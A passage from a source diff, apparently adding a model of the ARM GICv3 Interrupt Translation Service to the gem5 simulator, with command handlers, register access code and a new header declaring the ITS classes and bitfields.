itte);\n+}\n+\n+void\n+ItsCommand::movall(Yield &yield, CommandEntry &command)\n+{\n+ const uint64_t rd1 = bits(command.raw[2], 50, 16);\n+ const uint64_t rd2 = bits(command.raw[3], 50, 16);\n+\n+ if (rd1 != rd2) {\n+ Gicv3Redistributor * redist1 = its.getRedistributor(rd1);\n+ Gicv3Redistributor * redist2 = its.getRedistributor(rd2);\n+\n+ its.moveAllPendingState(redist1, redist2);\n+ }\n+}\n+\n+void\n+ItsCommand::movi(Yield &yield, CommandEntry &command)\n+{\n+ if (deviceOutOfRange(command)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ if (collectionOutOfRange(command)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ DTE dte = readDeviceTable(yield, command.deviceId);\n+\n+ if (!dte.valid || idOutOfRange(command, dte)) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ ITTE itte = readIrqTranslationTable(\n+ yield, dte.ittAddress, command.eventId);\n+\n+ if (!itte.valid || itte.intType == Gicv3Its::VIRTUAL_INTERRUPT) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ const auto collection_id1 = itte.icid;\n+ CTE cte1 = readIrqCollectionTable(yield, collection_id1);\n+\n+ if (!cte1.valid) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ const auto collection_id2 = bits(command.raw[2], 15, 0);\n+ CTE cte2 = readIrqCollectionTable(yield, collection_id2);\n+\n+ if (!cte2.valid) {\n+ its.incrementReadPointer();\n+ terminate(yield);\n+ }\n+\n+ Gicv3Redistributor *first_redist = its.getRedistributor(cte1);\n+ Gicv3Redistributor *second_redist = its.getRedistributor(cte2);\n+\n+ if (second_redist != first_redist) {\n+ // move pending state of the interrupt from one redistributor\n+ // to the other.\n+ if (first_redist->isPendingLPI(itte.intNum)) {\n+ first_redist->setClrLPI(itte.intNum, false);\n+ second_redist->setClrLPI(itte.intNum, true);\n+ }\n+ }\n+\n+ itte.icid = collection_id2;\n+ writeIrqTranslationTable(\n+ yield, dte.ittAddress, command.eventId, itte);\n+}\n+\n+void\n+ItsCommand::sync(Yield &yield, CommandEntry &command)\n+{\n+ warn(\"ITS %s command unimplemented\", __func__);\n+}\n+\n+void\n+ItsCommand::vinvall(Yield &yield, CommandEntry &command)\n+{\n+ panic(\"ITS %s command unimplemented\", __func__);\n+}\n+\n+void\n+ItsCommand::vmapi(Yield &yield, CommandEntry &command)\n+{\n+ panic(\"ITS %s command unimplemented\", __func__);\n+}\n+\n+void\n+ItsCommand::vmapp(Yield &yield, CommandEntry &command)\n+{\n+ panic(\"ITS %s command unimplemented\", __func__);\n+}\n+\n+void\n+ItsCommand::vmapti(Yield &yield, CommandEntry &command)\n+{\n+ panic(\"ITS %s command unimplemented\", __func__);\n+}\n+\n+void\n+ItsCommand::vmovi(Yield &yield, CommandEntry &command)\n+{\n+ panic(\"ITS %s command unimplemented\", __func__);\n+}\n+\n+void\n+ItsCommand::vmovp(Yield &yield, CommandEntry &command)\n+{\n+ panic(\"ITS %s command unimplemented\", __func__);\n+}\n+\n+void\n+ItsCommand::vsync(Yield &yield, CommandEntry &command)\n+{\n+ panic(\"ITS %s command unimplemented\", __func__);\n+}\n+\n+Gicv3Its::Gicv3Its(const Gicv3ItsParams *params)\n+ : BasicPioDevice(params, params->pio_size),\n+ dmaPort(name() + \".dma\", *this),\n+ gitsControl(0x1),\n+ gitsTyper(params->gits_typer),\n+ gitsCbaser(0), gitsCreadr(0),\n+ gitsCwriter(0), gitsIidr(0),\n+ masterId(params->system->getMasterId(this)),\n+ gic(nullptr),\n+ commandEvent([this] { checkCommandQueue(); }, name()),\n+ pendingCommands(false),\n+ pendingTranslations(0)\n+{\n+ for (auto idx = 0; idx < NUM_BASER_REGS; idx++) {\n+ BASER gits_baser = 0;\n+ gits_baser.type = idx;\n+ gits_baser.entrySize = sizeof(uint64_t) - 1;\n+ tableBases.push_back(gits_baser);\n+ }\n+}\n+\n+void\n+Gicv3Its::setGIC(Gicv3 *_gic)\n+{\n+ assert(!gic);\n+ gic = _gic;\n+}\n+\n+AddrRangeList\n+Gicv3Its::getAddrRanges() const\n+{\n+ assert(pioSize != 0);\n+ AddrRangeList ranges;\n+ DPRINTF(AddrRanges, \"registering range: %#x-%#x\\n\", pioAddr, pioSize);\n+ ranges.push_back(RangeSize(pioAddr, pioSize));\n+ return ranges;\n+}\n+\n+Tick\n+Gicv3Its::read(PacketPtr pkt)\n+{\n+ const Addr addr = pkt->getAddr() - pioAddr;\n+ uint64_t value = 0;\n+\n+ DPRINTF(GIC, \"%s register at addr: %#x\\n\", __func__, addr);\n+\n+ switch (addr) {\n+ case GITS_CTLR:\n+ value = gitsControl;\n+ break;\n+\n+ case GITS_IIDR:\n+ value = gitsIidr;\n+ break;\n+\n+ case GITS_TYPER:\n+ value = gitsTyper;\n+ break;\n+\n+ case GITS_CBASER:\n+ value = gitsCbaser;\n+ break;\n+\n+ case GITS_CWRITER:\n+ value = gitsCwriter;\n+ break;\n+\n+ case GITS_CREADR:\n+ value = gitsCreadr;\n+ break;\n+\n+ case GITS_TRANSLATER:\n+ value = gitsTranslater;\n+ break;\n+\n+ default:\n+ if (GITS_BASER.contains(addr)) {\n+ auto relative_addr = addr - GITS_BASER.start();\n+ auto baser_index = relative_addr / sizeof(uint64_t);\n+\n+ value = tableBases[baser_index];\n+ break;\n+ } else {\n+ panic(\"Unrecognized register access\\n\");\n+ }\n+ }\n+\n+ pkt->setUintX(value, LittleEndianByteOrder);\n+ pkt->makeAtomicResponse();\n+ return pioDelay;\n+}\n+\n+Tick\n+Gicv3Its::write(PacketPtr pkt)\n+{\n+ Addr addr = pkt->getAddr() - pioAddr;\n+\n+ DPRINTF(GIC, \"%s register at addr: %#x\\n\", __func__, addr);\n+\n+ switch (addr) {\n+ case GITS_CTLR:\n+ assert(pkt->getSize() == sizeof(uint32_t));\n+ gitsControl = pkt->getLE();\n+ break;\n+\n+ case GITS_IIDR:\n+ panic(\"GITS_IIDR is Read Only\\n\");\n+\n+ case GITS_TYPER:\n+ panic(\"GITS_TYPER is Read Only\\n\");\n+\n+ case GITS_CBASER:\n+ assert(pkt->getSize() == sizeof(uint64_t));\n+ gitsCbaser = pkt->getLE();\n+ gitsCreadr = 0; // Cleared when CBASER gets written\n+\n+ checkCommandQueue();\n+ break;\n+\n+ case GITS_CWRITER:\n+ assert(pkt->getSize() == sizeof(uint64_t));\n+ gitsCwriter = pkt->getLE();\n+\n+ checkCommandQueue();\n+ break;\n+\n+ case GITS_CREADR:\n+ panic(\"GITS_READR is Read Only\\n\");\n+\n+ case GITS_TRANSLATER:\n+ if (gitsControl.enabled) {\n+ translate(pkt);\n+ }\n+ break;\n+\n+ default:\n+ if (GITS_BASER.contains(addr)) {\n+ auto relative_addr = addr - GITS_BASER.start();\n+ auto baser_index = relative_addr / sizeof(uint64_t);\n+\n+ BASER val = pkt->getLE();\n+\n+ panic_if(val.indirect,\n+ \"We currently don't support two level ITS tables\");\n+\n+ tableBases[baser_index] = val;\n+ break;\n+ } else {\n+ panic(\"Unrecognized register access\\n\");\n+ }\n+ }\n+\n+ pkt->makeAtomicResponse();\n+ return pioDelay;\n+}\n+\n+bool\n+Gicv3Its::idOutOfRange(uint32_t event_id, uint8_t itt_range) const\n+{\n+ const uint32_t id_bits = gitsTyper.idBits;\n+ return event_id >= (1ULL << (id_bits + 1)) ||\n+ event_id >= ((1ULL << itt_range) + 1);\n+}\n+\n+bool\n+Gicv3Its::deviceOutOfRange(uint32_t device_id) const\n+{\n+ return device_id >= (1ULL << (gitsTyper.devBits + 1));\n+}\n+\n+bool\n+Gicv3Its::sizeOutOfRange(uint32_t size) const\n+{\n+ return size > gitsTyper.idBits;\n+}\n+\n+bool\n+Gicv3Its::collectionOutOfRange(uint32_t collection_id) const\n+{\n+ // If GITS_TYPER.CIL == 0, ITS supports 16-bit CollectionID\n+ // Otherwise, #bits is specified by GITS_TYPER.CIDbits\n+ const auto cid_bits = gitsTyper.cil == 0 ?\n+ 16 : gitsTyper.cidBits + 1;\n+\n+ return collection_id >= (1ULL << cid_bits);\n+}\n+\n+bool\n+Gicv3Its::lpiOutOfRange(uint32_t intid) const\n+{\n+ return intid >= (1ULL << (Gicv3Distributor::IDBITS + 1)) ||\n+ (intid < Gicv3Redistributor::SMALLEST_LPI_ID &&\n+ intid != Gicv3::INTID_SPURIOUS);\n+}\n+\n+DrainState\n+Gicv3Its::drain()\n+{\n+ if (!pendingCommands && !pendingTranslations) {\n+ return DrainState::Drained;\n+ } else {\n+ DPRINTF(Drain, \"GICv3 ITS not drained\\n\");\n+ return DrainState::Draining;\n+ }\n+}\n+\n+void\n+Gicv3Its::serialize(CheckpointOut & cp) const\n+{\n+ SERIALIZE_SCALAR(gitsControl);\n+ SERIALIZE_SCALAR(gitsTyper);\n+ SERIALIZE_SCALAR(gitsCbaser);\n+ SERIALIZE_SCALAR(gitsCreadr);\n+ SERIALIZE_SCALAR(gitsCwriter);\n+ SERIALIZE_SCALAR(gitsIidr);\n+\n+ SERIALIZE_CONTAINER(tableBases);\n+}\n+\n+void\n+Gicv3Its::unserialize(CheckpointIn & cp)\n+{\n+ UNSERIALIZE_SCALAR(gitsControl);\n+ UNSERIALIZE_SCALAR(gitsTyper);\n+ UNSERIALIZE_SCALAR(gitsCbaser);\n+ UNSERIALIZE_SCALAR(gitsCreadr);\n+ UNSERIALIZE_SCALAR(gitsCwriter);\n+ UNSERIALIZE_SCALAR(gitsIidr);\n+\n+ UNSERIALIZE_CONTAINER(tableBases);\n+}\n+\n+void\n+Gicv3Its::incrementReadPointer()\n+{\n+ // Make the reader point to the next element\n+ gitsCreadr.offset = gitsCreadr.offset + 1;\n+\n+ // Check for wrapping\n+ auto queue_end = (4096 * (gitsCbaser.size + 1));\n+\n+ if (gitsCreadr.offset == queue_end) {\n+ gitsCreadr.offset = 0;\n+ }\n+}\n+\n+void\n+Gicv3Its::checkCommandQueue()\n+{\n+ if (!gitsControl.enabled || !gitsCbaser.valid)\n+ return;\n+\n+ if (gitsCwriter.offset != gitsCreadr.offset) {\n+ // writer and reader pointing to different command\n+ // entries: queue not empty.\n+ DPRINTF(ITS, \"Reading command from queue\\n\");\n+\n+ if (!pendingCommands) {\n+ auto *cmd_proc = new ItsCommand(*this);\n+\n+ runProcess(cmd_proc, nullptr);\n+ } else {\n+ DPRINTF(ITS, \"Waiting for pending command to finish\\n\");\n+ }\n+ }\n+}\n+\n+Port &\n+Gicv3Its::getPort(const std::string &if_name, PortID idx)\n+{\n+ if (if_name == \"dma\") {\n+ return dmaPort;\n+ }\n+ return BasicPioDevice::getPort(if_name, idx);\n+}\n+\n+void\n+Gicv3Its::recvReqRetry()\n+{\n+ assert(!packetsToRetry.empty());\n+\n+ while (!packetsToRetry.empty()) {\n+ ItsAction a = packetsToRetry.front();\n+\n+ assert(a.type == ItsActionType::SEND_REQ);\n+\n+ if (!dmaPort.sendTimingReq(a.pkt))\n+ break;\n+\n+ packetsToRetry.pop();\n+ }\n+}\n+\n+bool\n+Gicv3Its::recvTimingResp(PacketPtr pkt)\n+{\n+ // @todo: We need to pay for this and not just zero it out\n+ pkt->headerDelay = pkt->payloadDelay = 0;\n+\n+ ItsProcess *proc =\n+ safe_cast(pkt->popSenderState());\n+\n+ runProcessTiming(proc, pkt);\n+\n+ return true;\n+}\n+\n+ItsAction\n+Gicv3Its::runProcess(ItsProcess *proc, PacketPtr pkt)\n+{\n+ if (sys->isAtomicMode()) {\n+ return runProcessAtomic(proc, pkt);\n+ } else if (sys->isTimingMode()) {\n+ return runProcessTiming(proc, pkt);\n+ } else {\n+ panic(\"Not in timing or atomic mode\\n\");\n+ }\n+}\n+\n+ItsAction\n+Gicv3Its::runProcessTiming(ItsProcess *proc, PacketPtr pkt)\n+{\n+ ItsAction action = proc->run(pkt);\n+\n+ switch (action.type) {\n+ case ItsActionType::SEND_REQ:\n+ action.pkt->pushSenderState(proc);\n+\n+ if (packetsToRetry.empty() &&\n+ dmaPort.sendTimingReq(action.pkt)) {\n+\n+ } else {\n+ packetsToRetry.push(action);\n+ }\n+ break;\n+\n+ case ItsActionType::TERMINATE:\n+ delete proc;\n+ if (!pendingCommands && !commandEvent.scheduled()) {\n+ schedule(commandEvent, clockEdge());\n+ }\n+ break;\n+\n+ default:\n+ panic(\"Unknown action\\n\");\n+ }\n+\n+ return action;\n+}\n+\n+ItsAction\n+Gicv3Its::runProcessAtomic(ItsProcess *proc, PacketPtr pkt)\n+{\n+ ItsAction action;\n+ Tick delay = 0;\n+ bool terminate = false;\n+\n+ do {\n+ action = proc->run(pkt);\n+\n+ switch (action.type) {\n+ case ItsActionType::SEND_REQ:\n+ delay += dmaPort.sendAtomic(action.pkt);\n+ pkt = action.pkt;\n+ break;\n+\n+ case ItsActionType::TERMINATE:\n+ delete proc;\n+ terminate = true;\n+ break;\n+\n+ default:\n+ panic(\"Unknown action\\n\");\n+ }\n+\n+ } while (!terminate);\n+\n+ action.delay = delay;\n+\n+ return action;\n+}\n+\n+void\n+Gicv3Its::translate(PacketPtr pkt)\n+{\n+ DPRINTF(ITS, \"Starting Translation Request\\n\");\n+\n+ auto *proc = new ItsTranslation(*this);\n+ runProcess(proc, pkt);\n+}\n+\n+Gicv3Redistributor*\n+Gicv3Its::getRedistributor(uint64_t rd_base)\n+{\n+ if (gitsTyper.pta == 1) {\n+ // RDBase is a redistributor address\n+ return gic->getRedistributorByAddr(rd_base << 16);\n+ } else {\n+ // RDBase is a redistributor number\n+ return gic->getRedistributor(rd_base);\n+ }\n+}\n+\n+Addr\n+Gicv3Its::pageAddress(Gicv3Its::ItsTables table)\n+{\n+ const BASER base = tableBases[table];\n+ // real address depends on page size\n+ switch (base.pageSize) {\n+ case SIZE_4K:\n+ case SIZE_16K:\n+ return mbits(base, 47, 12);\n+ case SIZE_64K:\n+ return mbits(base, 47, 16) | (bits(base, 15, 12) << 48);\n+ default:\n+ panic(\"Unsupported page size\\n\");\n+ }\n+}\n+\n+void\n+Gicv3Its::moveAllPendingState(\n+ Gicv3Redistributor *rd1, Gicv3Redistributor *rd2)\n+{\n+ const uint64_t largest_lpi_id = 1ULL << (rd1->lpiIDBits + 1);\n+ uint8_t lpi_pending_table[largest_lpi_id / 8];\n+\n+ // Copying the pending table from redistributor 1 to redistributor 2\n+ rd1->memProxy->readBlob(\n+ rd1->lpiPendingTablePtr, (uint8_t *)lpi_pending_table,\n+ sizeof(lpi_pending_table));\n+\n+ rd2->memProxy->writeBlob(\n+ rd2->lpiPendingTablePtr, (uint8_t *)lpi_pending_table,\n+ sizeof(lpi_pending_table));\n+\n+ // Clearing pending table in redistributor 2\n+ rd1->memProxy->memsetBlob(\n+ rd1->lpiPendingTablePtr,\n+ 0, sizeof(lpi_pending_table));\n+\n+ rd2->updateAndInformCPUInterface();\n+}\n+\n+Gicv3Its *\n+Gicv3ItsParams::create()\n+{\n+ return new Gicv3Its(this);\n+}\ndiff --git a/src/dev/arm/gic_v3_its.hh b/src/dev/arm/gic_v3_its.hh\nnew file mode 100644\nindex 000000000..aa0b8c805\n--- /dev/null\n+++ b/src/dev/arm/gic_v3_its.hh\n@@ -0,0 +1,518 @@\n+/*\n+ * Copyright (c) 2019 ARM Limited\n+ * All rights reserved\n+ *\n+ * The license below extends only to copyright in the software and shall\n+ * not be construed as granting a license to any other intellectual\n+ * property including but not limited to intellectual property relating\n+ * to a hardware implementation of the functionality of the software\n+ * licensed hereunder. You may use the software subject to the license\n+ * terms below provided that you ensure that this notice is replicated\n+ * unmodified and in its entirety in all distributions of the software,\n+ * modified or unmodified, in source code or in binary form.\n+ *\n+ * Redistribution and use in source and binary forms, with or without\n+ * modification, are permitted provided that the following conditions are\n+ * met: redistributions of source code must retain the above copyright\n+ * notice, this list of conditions and the following disclaimer;\n+ * redistributions in binary form must reproduce the above copyright\n+ * notice, this list of conditions and the following disclaimer in the\n+ * documentation and/or other materials provided with the distribution;\n+ * neither the name of the copyright holders nor the names of its\n+ * contributors may be used to endorse or promote products derived from\n+ * this software without specific prior written permission.\n+ *\n+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n+ * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n+ * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n+ * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n+ * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n+ * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n+ *\n+ * Authors: Giacomo Travaglini\n+ */\n+\n+#ifndef __DEV_ARM_GICV3_ITS_H__\n+#define __DEV_ARM_GICV3_ITS_H__\n+\n+#include \n+\n+#include \"base/coroutine.hh\"\n+#include \"dev/dma_device.hh\"\n+#include \"params/Gicv3Its.hh\"\n+\n+class Gicv3;\n+class Gicv3Redistributor;\n+class ItsProcess;\n+class ItsTranslation;\n+class ItsCommand;\n+\n+enum class ItsActionType\n+{\n+ INITIAL_NOP,\n+ SEND_REQ,\n+ TERMINATE,\n+};\n+\n+struct ItsAction\n+{\n+ ItsActionType type;\n+ PacketPtr pkt;\n+ Tick delay;\n+};\n+\n+/**\n+ * GICv3 ITS module. This class is just modelling a pio device with its\n+ * memory mapped registers. Most of the ITS functionalities are\n+ * implemented as processes (ItsProcess) objects, like ItsTranslation or\n+ * ItsCommand.\n+ * Main job of Gicv3Its is to spawn those processes upon receival of packets.\n+ */\n+class Gicv3Its : public BasicPioDevice\n+{\n+ friend class ::ItsProcess;\n+ friend class ::ItsTranslation;\n+ friend class ::ItsCommand;\n+ public:\n+ class DataPort : public MasterPort\n+ {\n+ protected:\n+ Gicv3Its &its;\n+\n+ public:\n+ DataPort(const std::string &_name, Gicv3Its &_its) :\n+ MasterPort(_name, &_its),\n+ its(_its)\n+ {}\n+\n+ virtual ~DataPort() {}\n+\n+ bool recvTimingResp(PacketPtr pkt) { return its.recvTimingResp(pkt); }\n+ void recvReqRetry() { return its.recvReqRetry(); }\n+ };\n+\n+ DataPort dmaPort;\n+\n+ Port & getPort(const std::string &if_name, PortID idx) override;\n+ bool recvTimingResp(PacketPtr pkt);\n+ void recvReqRetry();\n+\n+ Gicv3Its(const Gicv3ItsParams *params);\n+\n+ void setGIC(Gicv3 *_gic);\n+\n+ static const uint32_t itsControl = 0x0;\n+ static const uint32_t itsTranslate = 0x10000;\n+\n+ // Address range part of Control frame\n+ static const AddrRange GITS_BASER;\n+\n+ static const uint32_t NUM_BASER_REGS = 8;\n+\n+ enum : Addr\n+ {\n+ // Control frame\n+ GITS_CTLR = itsControl + 0x0000,\n+ GITS_IIDR = itsControl + 0x0004,\n+ GITS_TYPER = itsControl + 0x0008,\n+ GITS_CBASER = itsControl + 0x0080,\n+ GITS_CWRITER = itsControl + 0x0088,\n+ GITS_CREADR = itsControl + 0x0090,\n+\n+ // Translation frame\n+ GITS_TRANSLATER = itsTranslate + 0x0040\n+ };\n+\n+ AddrRangeList getAddrRanges() const override;\n+\n+ Tick read(PacketPtr pkt) override;\n+ Tick write(PacketPtr pkt) override;\n+\n+ DrainState drain() override;\n+ void serialize(CheckpointOut & cp) const override;\n+ void unserialize(CheckpointIn & cp) override;\n+\n+ void translate(PacketPtr pkt);\n+\n+ BitUnion32(CTLR)\n+ Bitfield<31> quiescent;\n+ Bitfield<7, 4> itsNumber;\n+ Bitfield<1> imDe;\n+ Bitfield<0> enabled;\n+ EndBitUnion(CTLR)\n+\n+ // Command read/write, (CREADR, CWRITER)\n+ BitUnion64(CRDWR)\n+ Bitfield<19, 5> offset;\n+ Bitfield<0> retry;\n+ Bitfield<0> stalled;\n+ EndBitUnion(CRDWR)\n+\n+ BitUnion64(CBASER)\n+ Bitfield<63> valid;\n+ Bitfield<61, 59> innerCache;\n+ Bitfield<55, 53> outerCache;\n+ Bitfield<51, 12> physAddr;\n+ Bitfield<11, 10> shareability;\n+ Bitfield<7, 0> size;\n+ EndBitUnion(CBASER)\n+\n+ BitUnion64(BASER)\n+ Bitfield<63> valid;\n+ Bitfield<62> indirect;\n+ Bitfield<61, 59> innerCache;\n+ Bitfield<58, 56> type;\n+ Bitfield<55, 53> outerCache;\n+ Bitfield<52, 48> entrySize;\n+ Bitfield<47, 12> physAddr;\n+ Bitfield<11, 10> shareability;\n+ Bitfield<9, 8> pageSize;\n+ Bitfield<7, 0> size;\n+ EndBitUnion(BASER)\n+\n+ BitUnion64(TYPER)\n+ Bitfield<37> vmovp;\n+ Bitfield<36> cil;\n+ Bitfield<35, 32> cidBits;\n+ Bitfield<31, 24> hcc;\n+ Bitfield<19> pta;\n+ Bitfield<18> seis;\n+ Bitfield<17, 13> devBits;\n+ Bitfield<12, 8> idBits;\n+ Bitfield<7, 4> ittEntrySize;\n+ Bitfield<2> cct;\n+ Bitfield<1> _virtual;\n+ Bitfield<0> physical;\n+ EndBitUnion(TYPER)\n+\n+ CTLR gitsControl;\n+ TYPER gitsTyper;\n+ CBASER gitsCbaser;\n+ CRDWR gitsCreadr;\n+ CRDWR gitsCwriter;\n+ uint32_t gitsIidr;\n+ uint32_t gitsTranslater;\n+\n+ std::vector tableBases;\n+\n+ /**\n+ * Returns TRUE if the eventID supplied has bits above the implemented\n+ * size or above the itt_range\n+ */\n+ bool idOutOfRange(uint32_t event_id, uint8_t itt_range) const;\n+\n+ /**\n+ * Returns TRUE if the value supplied has bits above the implemented range\n+ * or if the value supplied exceeds the maximum configured size in the\n+ * appropriate GITS_BASER\n+ */\n+ bool deviceOutOfRange(uint32_t device_id) const;\n+\n+ /**\n+ * Returns TRUE if the value (size) supplied exceeds the maximum\n+ * allowed by GITS_TYPER.ID_bits. Size is the parameter which is\n+ * passed to the ITS via the MAPD command and is stored in the\n+ * DTE.ittRange field.\n+ */\n+ bool sizeOutOfRange(uint32_t size) const;\n+\n+ /**\n+ * Returns TRUE if the value supplied has bits above the implemented range\n+ * or if the value exceeds the total number of collections supported in\n+ * hardware and external memory\n+ */\n+ bool collectionOutOfRange(uint32_t collection_id) const;\n+\n+ /**\n+ * Returns TRUE if the value supplied is larger than that permitted by\n+ * GICD_TYPER.IDbits or not in the LPI range and is not 1023\n+ */\n+ bool lpiOutOfRange(uint32_t intid) const;\n+\n+ private: // Command\n+ void checkCommandQueue();\n+ void incrementReadPointer();\n+\n+ public: // TableWalk\n+ BitUnion64(DTE)\n+ Bitfield<57, 53> ittRange;\n+ Bitfield<52, 1> ittAddress;\n+ Bitfield<0> valid;\n+ EndBitUnion(DTE)\n+\n+ BitUnion64(ITTE)\n+ Bitfield<59, 46> vpeid;\n+ Bitfield<45, 30> icid;\n+ Bitfield<29, 16> intNumHyp;\n+ Bitfield<15, 2> intNum;\n+ Bitfield<1> intType;\n+ Bitfield<0> valid;\n+ EndBitUnion(ITTE)\n+\n+ BitUnion64(CTE)\n+ Bitfield<40, 1> rdBase;\n+ Bitfield<0> valid;\n+ EndBitUnion(CTE)\n+\n+ enum InterruptType\n+ {\n+ VIRTUAL_INTERRUPT = 0,\n+ PHYSICAL_INTERRUPT = 1\n+ };\n+\n+ private:\n+ Gicv3Redistributor* getRedistributor(uint64_t rd_base);\n+ Gicv3Redistributor* getRedistributor(CTE cte)\n+ {\n+ return getRedistributor(cte.rdBase);\n+ }\n+\n+ ItsAction runProcess(ItsProcess *proc, PacketPtr pkt);\n+ ItsAction runProcessTiming(ItsProcess *proc, PacketPtr pkt);\n+ ItsAction runProcessAtomic(ItsProcess *proc, PacketPtr pkt);\n+\n+ enum ItsTables\n+ {\n+ DEVICE_TABLE = 1,\n+ VPE_TABLE = 2,\n+ TRANSLATION_TABLE = 3,\n+ COLLECTION_TABLE = 4\n+ };\n+\n+ enum PageSize\n+ {\n+ SIZE_4K,\n+ SIZE_16K,\n+ SIZE_64K\n+ };\n+\n+ Addr pageAddress(enum ItsTables table);\n+\n+ void moveAllPendingState(\n+ Gicv3Redistributor *rd1, Gicv3Redistributor *rd2);\n+\n+ private:\n+ std::queue packetsToRetry;\n+ uint32_t masterId;\n+ Gicv3 *gic;\n+ EventFunctionWrapper commandEvent;\n+\n+ bool pendingCommands;\n+ uint32_t pendingTranslations;\n+};\n+\n+/**\n+ * ItsProcess is a base coroutine wrapper which is spawned by\n+ * the Gicv3Its module when the latter needs to perform different\n+ * actions, like translating a peripheral's MSI into an LPI\n+ * (See derived ItsTranslation) or processing a Command from the\n+ * ITS queue (ItsCommand).\n+ * The action to take is implemented by the method:\n+ *\n+ * virtual void main(Yield &yield) = 0;\n+ * It's inheriting from Packet::SenderState since the generic process\n+ * will be stopped (we are using coroutines) and sent with the packet\n+ * to memory when doing table walks.\n+ * When Gicv3Its receives a response, it will resume the coroutine from\n+ * the point it stopped when yielding.\n+ */\n+class ItsProcess : public Packet::SenderState\n+{\n+ public:\n+ using DTE = Gicv3Its::DTE;\n+ using ITTE = Gicv3Its::ITTE;\n+ using CTE = Gicv3Its::CTE;\n+ using Coroutine = m5::Coroutine;\n+ using Yield = Coroutine::CallerType;\n+\n+ ItsProcess(Gicv3Its &_its);\n+ virtual ~ItsProcess();\n+\n+ /** Returns the Gicv3Its name. Mainly used for DPRINTS */\n+ const std::string name() const;\n+\n+ ItsAction run(PacketPtr pkt);\n+\n+ protected:\n+ void reinit();\n+ virtual void main(Yield &yield) = 0;\n+\n+ void writeDeviceTable(Yield &yield, uint32_t device_id, DTE dte);\n+\n+ void writeIrqTranslationTable(\n+ Yield &yield, const Addr itt_base, uint32_t event_id, ITTE itte);\n+\n+ void writeIrqCollectionTable(\n+ Yield &yield, uint32_t collection_id, CTE cte);\n+\n+ uint64_t readDeviceTable(\n+ Yield &yield, uint32_t device_id);\n+\n+ uint64_t readIrqTranslationTable(\n+ Yield &yield, const Addr itt_base, uint32_t event_id);\n+\n+ uint64_t readIrqCollectionTable(Yield &yield, uint32_t collection_id);\n+\n+ void doRead(Yield &yield, Addr addr, void *ptr, size_t size);\n+ void doWrite(Yield &yield, Addr addr, void *ptr, size_t size);\n+ void terminate(Yield &yield);\n+\n+ protected:\n+ Gicv3Its &its;\n+\n+ private:\n+ std::unique_ptr coroutine;\n+};\n+\n+/**\n+ * An ItsTranslation is created whenever a peripheral writes a message in\n+ * GITS_TRANSLATER (MSI). In this case main will simply do the table walks\n+ * until it gets a redistributor and an INTID. It will then raise the\n+ * LPI interrupt to the target redistributor.\n+ */\n+class ItsTranslation : public ItsProcess\n+{\n+ public:\n+ ItsTranslation(Gicv3Its &_its);\n+ ~ItsTranslation();\n+\n+ protected:\n+ void main(Yield &yield) override;\n+\n+ std::pair\n+ translateLPI(Yield &yield, uint32_t device_id, uint32_t event_id);\n+};\n+\n+/**\n+ * An ItsCommand is created whenever there is a new command in the command\n+ * queue. Only one command can be executed per time.\n+ * main will firstly read the command from memory and then it will process\n+ * it.\n+ */\n+class ItsCommand : public ItsProcess\n+{\n+ public:\n+ union CommandEntry\n+ {\n+ struct\n+ {\n+ uint32_t type;\n+ uint32_t deviceId;\n+ uint32_t eventId;\n+ uint32_t pintId;\n+\n+ uint32_t data[4];\n+ };\n+ uint64_t raw[4];\n+ };\n+\n+ enum CommandType : uint32_t\n+ {\n+ CLEAR = 0x04,\n+ DISCARD = 0x0F,\n+ INT = 0x03,\n+ INV = 0x0C,\n+ INVALL = 0x0D,\n+ MAPC = 0x09,\n+ MAPD = 0x08,\n+ MAPI = 0x0B,\n+ MAPTI = 0x0A,\n+ MOVALL = 0x0E,\n+ MOVI = 0x01,\n+ SYNC = 0x05,\n+ VINVALL = 0x2D,\n+ VMAPI = 0x2B,\n+ VMAPP = 0x29,\n+ VMAPTI = 0x2A,\n+ VMOVI = 0x21,\n+ VMOVP = 0x22,\n+ VSYNC = 0x25\n+ };\n+\n+ ItsCommand(Gicv3Its &_its);\n+ ~ItsCommand();\n+\n+ protected:\n+ /**\n+ * Dispatch entry is a metadata struct which contains information about\n+ * the command (like the name) and the function object implementing\n+ * the command.\n+ */\n+ struct DispatchEntry\n+ {\n+ using ExecFn = std::function;\n+\n+ DispatchEntry(std::string _name, ExecFn _exec)\n+ : name(_name), exec(_exec)\n+ {}\n+\n+ std::string name;\n+ ExecFn exec;\n+ };\n+\n+ using DispatchTable = std::unordered_map<\n+ std::underlying_type::type, DispatchEntry>;\n+\n+ static DispatchTable cmdDispatcher;\n+\n+ static std::string commandName(uint32_t cmd);\n+\n+ void main(Yield &yield) override;\n+\n+ void readCommand(Yield &yield, CommandEntry &command);\n+ void processCommand(Yield &yield, CommandEntry &command);\n+\n+ // Commands\n+ void clear(Yield &yield, CommandEntry &command);\n+ void discard(Yield &yield, CommandEntry &command);\n+ void mapc(Yield &yield, CommandEntry &command);\n+ void mapd(Yield &yield, CommandEntry &command);\n+ void mapi(Yield &yield, CommandEntry &command);\n+ void mapti(Yield &yield, CommandEntry &command);\n+ void movall(Yield &yield, CommandEntry &command);\n+ void movi(Yield &yield, CommandEntry &command);\n+ void sync(Yield &yield, CommandEntry 